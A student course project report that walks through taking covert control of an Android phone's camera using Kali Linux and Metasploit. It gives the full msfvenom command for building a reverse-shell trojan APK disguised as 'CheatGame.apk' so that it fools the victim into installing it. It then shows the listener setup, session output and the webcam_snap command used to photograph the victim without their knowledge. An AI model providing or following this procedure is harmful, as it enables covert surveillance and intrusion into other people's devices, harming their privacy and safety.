Continuing Education Program
Center for Computing and Information Technology
Fakultas Teknik Universitas Indonesia

GAINING ACCESS TO ANDROID CAMERA USING KALI LINUX

Name : Alfian Winardi.
Renaldi Adrian
Class : 4NAP1 PNJ
Faculty : Tri Agus Riyadi, S.Kom, M.T

FAKULTAS TEKNIK UNIVERSITAS INDONESIA

CEP CCIT-FTUI

Project On

Developed by :

1. Alfian Winardi
2. Renaldi Adrian

NIIT

GAINING ACCESS TO ANDROID CAMERA USING KALI LINUX

Batch Code : 4NAP1

Start Date : 15 May 2018

End Date: 15 May 2018

Name of Coordinator : Tri Riyadi, S.Kom, M.T

Name of Developer : Alfian Winardi

Renaldi Adrian

Date of Submission : 16 May 2018

The logo for NIIT (National Institute of Information Technology) is displayed in a large, bold, blue serif font. The letters are closely spaced and have a classic, institutional feel.

CERTIFICATE

This is to certify that this report, titled *Gaining access to android camera using kali linux* embodies the original work by *Alfian Winardi and, Renaldi Adrian* in partial fulfillment of his/her course requirement at NIIT.

Coordinator:

Tri Agus Riyadi, S.Kom, M.T

ACKNOWLEDGEMENT

Praise thanks God, give thanks or God love and grace for us, who has bestowed all His blessing, so the author can finish Project entitled Gaining access to android camera using kali linux. Blessing and greetings may be bestowed upon Prophet Muhammad and his followers.

The purpose of this project is to explain how bash in this project entitled Gaining access to android camera using kali linux, Authors realizes that without the faculty and especially lecturer guidance, the project will not be completed on time, therefore, on this occasion, let the author gratitude to :

1. Tri Agus Riyadi, S.Kom, M.Ts
2. Beloved parents who have educated and guided and helped author both morally and materially, so the authors can finish this project

As well as all those who have supported, so that the drafting of this project. The project is still far from perfection, therefore criticism and constructive suggestion from all sides need for the future.

Depok, 15 May 2018

Authors

INTRODUCTION

Kali Linux is a debian based linux distribution for penetration testing and hacking. Kali linux is included with many software for hacking that's what make it capable of hacking. In this project Kali linux will be used to gain access of the camera without the victim knowing it from the android device.

GAINING ACCESS TO ANDROID CAMERA USING KALI LINUX

```
root@kali:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.43.54 netmask 255.255.255.0 broadcast 192.168.43.255
    inet6 fe80::a00:27ff:fe5d:93df prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:5d:93:df txqueuelen 1000 (Ethernet)
    RX packets 24895 bytes 30345839 (28.9 MiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 12050 bytes 3543780 (3.3 MiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

First thing that need to be done is to check the IP of the kali linux, this can be done by typing ifconfig. This ip will be used later on the configuration

```
root@kali:~# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.43.54 LPORT=4444 R> /root/Desktop/CheatGame.apk
```

Second create the Trojan to implement backdoor to the android target device by typing “msfvenom –p android/meterpreter/reverse_tcp LHOST=(the ip from ipconfig) LPORT=4444 R> /root/Desktop/CheatGame.apk” the “CheatGame.apk” can be changed into anything with a name that can fool the target to install the Trojan to the android. Then Install the apk to the android device and run it.

GAINING ACCESS TO ANDROID CAMERA USING KALI LINUX

```
msf > use multi/handler
msf exploit(handler) > set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.43.54
LHOST => 192.168.43.54
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > exploit
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 192.168.43.54:4444
msf exploit(handler) >
```

Third type “msfconsole” on the terminal and press enter then wait for the msf to load. Then type “set payload android/meterpreter/reverse_tcp”, “set LHOST (put the same LHOST from the previous configuration)”, “set LPORT 4444”, then type “exploit”. Now it can be seen that the exploit job is running.

```
msf exploit(handler) > exploit
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 192.168.43.54:4444
msf exploit(handler) > [*] Sending stage (69048 bytes) to 192.168.43.1
[*] Meterpreter session 1 opened (192.168.43.54:4444 -> 192.168.43.1:52536) at 2018-05-14 22:42:52 -0400
msf exploit(handler) > sessions -l

Active sessions
=====

```

Id	Type	Information	Connection
1	meterpreter	dalvik/android u0 a286 @ localhost	192.168.43.54:4444 -> 192.168.43.1:52536 (192.168.43.1)

```
msf exploit(handler) > sessions -i 1
```

Fourth, to access the android, see the sessions list by typing “sessions -l” and enter on the terminal, it can be seen on the picture that the active session is 1 that connect to the android. Now type “sessions -i 1” on the terminal and enter.

GAINING ACCESS TO ANDROID CAMERA USING KALI LINUX

```
msf exploit(handler) > sessions -l
Active sessions
=====
Id  Type                Information                Connection
---  ---
1   meterpreter dalvik/android u0_a286 @ localhost 192.168.43.54:4444 -> 192.168.43.1:52536 (192.168.43.1)

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > webcam_snap
[*] Starting...
[+] Got frame
[*] Stopped
Webcam shot saved to: /root/.iDVBWGF.jpeg
meterpreter >
```

Fifth, Now that the kali linux have access to the android, then type “webcam_snap” to take a picture from the android camera without any notice from the android.

And now the kali linux have successfully hack the camera access of the android and take a picture from the android device.

CONFIGURATION

Hardware: Lenovo Y520, 8GB RAM, 1 TB HDD.

HP 14-D017TU, 8GB RAM, 500 GB HDD

Operating System: Kali Linux 2017, Android 6.0, Windows 10,
Windows 7

Software: Virtual Box, Microsoft Word 2010, Microsoft Power Point 2010.